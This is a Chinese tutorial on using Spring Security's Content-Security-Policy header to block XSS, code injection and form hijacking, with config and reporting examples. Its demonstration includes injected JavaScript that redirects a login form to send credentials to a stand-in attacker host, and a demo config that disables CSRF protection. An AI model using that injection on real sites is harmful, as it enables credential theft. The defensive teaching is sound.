Spring Security 配置 Content Security Policy(CSP)

1、概览

跨站脚本攻击(Cross-Site Scripting,XSS)一直稳居最常见的 十大网络攻击 之列。XSS 攻击发生在 Web 服务器处理用户恶意输入时,未经验证或编码即在页面上渲染。与 XSS 攻击类似,代码注入和点击劫持通过窃取用户数据和冒充用户身份来对 Web 应用造成严重影响。

本文将会带你了解如何使用 Spring Security 通过内容安全策略(Content-Security-Policy)保护 Web 应用免受点击劫持、代码注入和 XSS 攻击。

2、Content Security Policy

内容安全策略(Content Security Policy,简称 CSP)是一种 HTTP 响应头,可大大减少 现代浏览器 中的代码注入攻击,如 XSS、点击劫持 等。

Web 服务器通过 Content-Security-Policy Header 部指定了浏览器可以渲染的资源的列表。这些资源可以是浏览器渲染的任何内容,例如 CSS、JavaScript、图像等。

该 Header 的语法如下:

Content-Security-Policy: <directive>; <directive>; <directive> ; ...

此外,还可以将此策略设置为 HTML 页面中 <meta> 标签的一部分:

<meta http-equiv="Content-Security-Policy" content="<directive>;<directive>;<directive>; ...">

每个 指令 都包含一个具有多个值的 key。指令可以不止一个,每个指令之间用分号(;) 分隔:

Content-Security-Policy: script-src 'self' https://baeldung.com; style-src 'self';

如上例所示,有两个指令(script-srcstyle-src),而指令 script-src 有两个值(selfhttps://baeldung.com)。

3、漏洞演示

通过示例来说明 XSS 和代码注入漏洞的严重性。

3.1、登录表单

一般来说,在 Web 应用中,会在 Session 超时时将用户重定向到登录页面。

一个标准的登录表单包含用户名/密码字段和一个提交按钮:

<span> Session time out. Please login.</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">Login</button>
</form>

3.2、代码注入

用户可以在通过表单字段注入可疑代码。例如,假设注册表单中有一个接受用户名的文本框。

用户可以输入 <script>alert("this is not expected")</script> 作为用户名,然后提交表单。随后,当渲染显示用户名时,它就会执行脚本(在这种情况下会弹出 alert 对话框)。该脚本甚至可以加载外部脚本,从而造成更严重的危害。

同样地,假设我们有一些缺乏足够验证的表单字段,用户可以再次利用这一点,向 DOM(文档对象模型) 中注入恶意 Javascript 代码:

<span> Session time out. Please login.</span>
<form id="login" action="/login">
    <input type="email" class="form-control" id="email">
    <input type="password" class="form-control" id="password">
    <button type="submit">Login</button> 
</form>
<script>
    let form= document.forms.login;
    form.action="https://youaredoomed.com:9090/collect?u="+document.getElementById('email').value
      +"&p="+document.getElementById('password').value;
</script>

当用户点击登录按钮时,注入的 Javascript 代码会将用户重定向到恶意网站。

当不知情的用户提交表单时,他就会被重定向到 https://youaredoomed.com,并导致他的凭证信息泄露。

4. Spring Security

4.1、HTML meta 标签

如果在上一个示例中添加 Content-Security-Policy Header,就会阻止向恶意服务器提交表单。

使用 <meta> 标签添加该 Header 并进行测试:

<meta http-equiv="Content-Security-Policy" content="form-action 'self';">

添加上述 meta 标签可防止浏览器将表单提交到其他源:

在 meta 标签中设置 CSP 值

尽管 meta 标签可以减轻 XSS 和代码注入攻击,但它们的功能有限。例如,不能使用 meta 标签报告违反内容安全策略的情况。

因此,可以利用 Spring Security 的强大功能,通过设置 Content-Security-Policy Header 来降低这些风险。

4.2、依赖

首先,在 pom.xml 中添加 Spring SecuritySpring Web 依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

4.3、配置

接着,通过创建 SecurityFilterChain Bean 来定义 Spring Security 配置:

@Configuration
public class ContentSecurityPolicySecurityConfiguration {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers()
            .xssProtection()
            .and()
            .contentSecurityPolicy("form-action 'self'");
        return http.build();
    }
}

如上,声明了 contentSecurityPolicy,以将表单 Action 限制在页面的同源。

4.4、Content-Security-Policy 响应头

完成了必要的配置后,启动应用。打开浏览器的开发工具(按 F12),点击网络选项卡,然后打开 URL http://localhost:8080

Content-Security-Policy 响应头

现在,填写表单并提交:

Content-Security-Policy 阻止表单提交

有了 Content-Security-Policy Header,浏览器就能阻止提交请求,降低凭证泄露的风险。

同样,也可以配置 Spring Security 以支持 不同的指令。例如,如下这段代码指定浏览器只加载来自和页面同源的脚本:

.contentSecurityPolicy("script-src 'self'");

指示浏览器只从页面同源和 somecdn.css.com 下载 CSS:

.contentSecurityPolicy("style-src 'self' somecdn.css.com");

还可以在 Content-Security-Policy Header 中组合任意数量的指令。例如,要限制 CSS、JS 和表单 Acation,可以指定:

.contentSecurityPolicy("style-src 'self' somecdn.css.com; script-src 'self'; form-action 'self'")

4.5、报告

除了要求浏览器阻止恶意内容外,服务器还可以要求浏览器在阻止内容时发送报告。。

通过 report-uri 指令与其他指令结合起来,让浏览器在内容被阻止时发送 POST。

浏览器会将以下内容 POST 到 report-uri 中定义的 URL:

{
    "csp-report": {
        "blocked-uri": "",
        "document-uri": "",
        "original-policy": "",
        "referrer": "",
        "violated-directive": ""
    }
}

因此,我们需要定义一个API来接收浏览器发送的违规报告。

需要注意的是,report-uri 指令已被弃用,取而代之的是 report-to,但大多数浏览器至今仍 不支持 report-to。因此,可以同时使用 report-urireport-to 指令。

更新 Spring Security 配置:

String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"https://localhost:8080/report\"}]}";
http
  .csrf().disable()
  .authorizeRequests()
  .antMatchers("/**").permitAll().and()
  .headers().addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
  .xssProtection()
  .and()
  .contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");

首先定义了一个 report-to 组,其中包含 csp-violation-report,并关联了一个端点。接下来,在 .contentSecurityPolicy 中,将该组作为 report-to 指令的值。

现在,在浏览器中打开该页面时,就会看到包含了该 Header 的响应:

Content-Security-Policy 阻止请求并发送报告

接着,填写表单并点击登录按钮。不出所料,浏览器会阻止请求并发送报告。在服务器控制台上,可以看到类似以下的日志:

Report: {"csp-report":{"blocked-uri":"https://youaredoomed.com:9090/collect?u=jhon.doe@mail.com&p=password","document-uri":"https://localhost:8080/","original-policy":"form-action 'self'; report-uri https://localhost:8080/report","referrer":"","violated-directive":"form-action"}}

下面是格式化 JSON 后的报告:

{
    "csp-report": {
        "blocked-uri": "https://youaredoomed.com:9090/collect?u=jhon.doe@mail.com&p=password",
    "document-uri": "https://localhost:8080/",
    "original-policy": "form-action 'self'; report-uri https://localhost:8080/report",
    "referrer": "",
    "violated-directive": "form-action"
    }
}

5、总结

虽然无法完全防范这些攻击,但内容安全策略(Content-Security-Policy)Header 有助于减轻大部分攻击。值得注意的是,到目前为止,大多数现代浏览器并不完全支持该 Header。因此,在设计和构建应用时必须遵循可靠的安全原则和标准。


参考:https://www.baeldung.com/spring-security-csp